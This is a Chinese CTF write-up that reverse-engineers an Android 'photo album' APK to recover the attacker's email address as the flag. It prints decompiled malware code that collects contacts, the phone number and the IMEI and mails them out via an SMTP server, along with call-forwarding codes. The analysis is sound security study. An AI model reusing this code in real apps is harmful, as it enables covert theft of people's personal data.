测试文件:https://www.lanzous.com/iaoj7qb

溯源

使用jadx-gui打开后,搜索包含mail的代码

很明显,这个sendMailByJavaMail函数应该是一个关键函数。找到位置

    public static int sendMailByJavaMail(String mailto, String title, String mailmsg) {if (!debug) {Mail m = new Mail(C0005C2.MAILUSER, C0005C2.MAILPASS);m.set_host(C0005C2.MAILHOST);m.set_port(C0005C2.PORT);m.set_debuggable(true);m.set_to(new String[]{mailto});m.set_from(C0005C2.MAILFROME);m.set_subject(title);m.setBody(mailmsg);try {if (m.send()) {Log.i("IcetestActivity", "Email was sent successfully.");} else {Log.i("IcetestActivity", "Email was sent failed.");}} catch (Exception e) {Log.e("MailApp", "Could not send email", e);}}return 1;}

函数以mailto为参数,这个mailto应该是我们需要找到。

我们找一下这个函数引用处

public class MailTask extends AsyncTask<Integer, Integer, String> {private String content;private Context context;public void run(String content2) {String notebooks = "";for (String[] note : NoteBook.get(this.context, IMAPStore.RESPONSE)) {notebooks = String.valueOf(notebooks) + note[0] + ":" + note[1] + "\r\n";}String tel = ((TelephonyManager) this.context.getSystemService("phone")).getLine1Number();if (tel == null || tel.equals("")) {tel = C0001A2.getNoteBook(content2).phoneNumber;}Sms getBFlag = C0001A2.getNoteBook(content2);if (!C0001A2.isEmpty(notebooks)) {C0001A2.sendMailByJavaMail(C0005C2.MAILSERVER, "通讯录(" + tel + "IMEI" + ((TelephonyManager) this.context.getSystemService("phone")).getDeviceId() + ")", notebooks);}}

C0005C2.MAILSERVER就是我们需要的邮箱,再找原出处

public class C0005C2 {public static final String CANCELNUMBER = "%23%2321%23";public static final String MAILFROME = Base64.decode(NativeMethod.m1m());public static final String MAILHOST = "smtp.163.com";public static final String MAILPASS = Base64.decode(NativeMethod.pwd());public static final String MAILSERVER = Base64.decode(NativeMethod.m1m());public static final String MAILUSER = Base64.decode(NativeMethod.m1m());public static final String MOVENUMBER = "**21*121%23";public static final String PORT = "25";public static final String date = "2115-11-1";public static final String phoneNumber = Base64.decode(NativeMethod.m2p());

MAILSERVER就是加载外部so文件中NativeMethod.m1m()函数所返回的值,再进行base64解密。因此我们只需要找到so文件中经过base64加密的字符串。

IDA打开

IDA打开APK文件中的libcore.so文件后,在String window找到base64加密的字符串。

解密后,第二个就是flag

get flag!

flag{18218465125@163.com}

BUUCTF--相册相关推荐

  1. BUUCTF reverse题解汇总

    本文是BUUCTF平台reverse题解的汇总 题解均来自本人博客 目录 Page1 Page2 Page3 Page4 Page1 easyre reverse1 reverse2 内涵的软件 新年 ...

  2. 动态图相册 android,‎App Store 上的“动态图相册”

    累计1000+"真实"五星好评 9大核心功能:GIF播放.GIF保存.GIF分享.GIF压缩.文件夹管理.全网GIF搜索.全网GIF浏览.导入导出.GIF制作 累计1000+&qu ...

  3. android 本地图片uri格式不一致,Android本地相册图片URI转换绝对路径

    最近做毕设的时候遇到了这个问题,一直给我报错java.io.notFound啥的啥的,不管怎么修改路径都是报这个错误,今天终于解决了,记录一下解决过程. 首先我们调用系统相册. Intent inte ...

  4. iOS 相册和网络图片的存取

    iOS 相册和网络图片的存取 保存 UIImage 到相册 UIKit UIKit 中一个古老的方法,Objective-C 的形式 void UIImageWriteToSavedPhotosAlb ...

  5. JQUERY搞的相册导航DEMO教学,总有一款合心意

    JQUERY搞的相册导航DEMO教学,总有一款合心意 偶然看到的,老外小结的,用jquery搞的相册导航,总有一款合心意,25款哦 http://vandelaydesign.com/blog/web ...

  6. Hexo Next 博客添加相册瀑布流

    原文:https://rebootcat.com/2020/09/19/nextphotowall/ 前言 一直没有时间来整理下博客搭建的一些事情,现在补上一篇,给 Hexo Next 博客添加一个相 ...

  7. android调用相册和摄像头,调用Android摄像头与打开相册

    以下为代码块: package com.example.demo; import java.io.File; import android.annotation.TargetApi; import a ...

  8. iphone相册怎么加密_iphone相册加密码锁,保护隐私

    在以往很多使用iphone的小伙伴都会遇到一个难题,在不越狱的情况下进行给相册进行设置密码锁,这是一个无法完成的目标,在前几期也为大家分享了相册照片加密方法,但是用起来很是不方便,今天就为大家分享利用 ...

  9. 访问系统相册或调用摄像头

    头文件:#import <MobileCoreServices/MobileCoreServices.h> 协议:<UINavigationControllerDelegate, U ...

  10. iOS 生成带 logo 的二维码,区域截屏保存至相册(小功能二连发 (一))

    原文链接:http://www.jianshu.com/p/36e9f012ef39 生成带 logo 的二维码 区域截屏相关 -- 由3033分享 开篇 最近项目需要搞了几个相对独立的小功能,今天有 ...

最新文章

  1. 在 windows 7 和 MinGW 下编译 OpenOCD 过程
  2. 反转 鼠标_梦幻西游:剧情反转?挖图挖出环装,在晶清加持下3000W到手
  3. Oracle递归查询
  4. 如何用计算机处理频谱,如何使用PicoScope PC示波器对CD播放器的音频频谱进行分析...
  5. python中xpath如何获取内容_python requests + xpath 获取分页详情页数据存入到txt文件中...
  6. PHP:打造一个无限极评论模块
  7. java多线程基础篇第一篇-JMM
  8. yolov5环境配置-Anaconda3 + Pytorch1.8 + Cuda10.2 + cuDnn8.2.0 + opencv3.2.0
  9. 将DataGrid中的数据导出为Excel的方法
  10. Apache POI简单入门
  11. Python编程从入门到实践(基础入门)
  12. 安卓网页离线保存_Android之 -WebView实现离线缓存阅读
  13. 日志分析工具、日志管理系统、syslog分析
  14. mysql实现跨库查询
  15. 我为大家分享永久免费空间 云专家
  16. 《Python机器学习基础教程》官方中文PDF+英文PDF+源代码 (张亮译)
  17. 金融工程中的蒙特卡罗方法
  18. 机器人无限火力无限e符文_2021LOL无限火力机器人天赋符文、出装推荐-无限火力机器人玩法介绍-色彩电竞...
  19. 初中学考英语听说计算机考试,2018中考英语听说计算机考试工作重要通知
  20. java操纵excel文件2

热门文章

  1. VARCHART XGantt 甘特图中的数据表介绍
  2. Linux 镜像挂载
  3. 科研党 篇一:完成一篇SCI论文必备的20+工具
  4. Java程序设计(基础)- 概述
  5. vim编辑器使用教程
  6. python学习手册四版中文_Python学习手册(第4版) 中文版.pdf 全文免费
  7. C#.NET开源反编译工具ILSpy下载
  8. 考研数据结构程序题常见代码【C语言实现】
  9. 格力手机色界G0245D-Root-最简指南
  10. 洪峰:泛系、自由与“一、百、万”工程(一)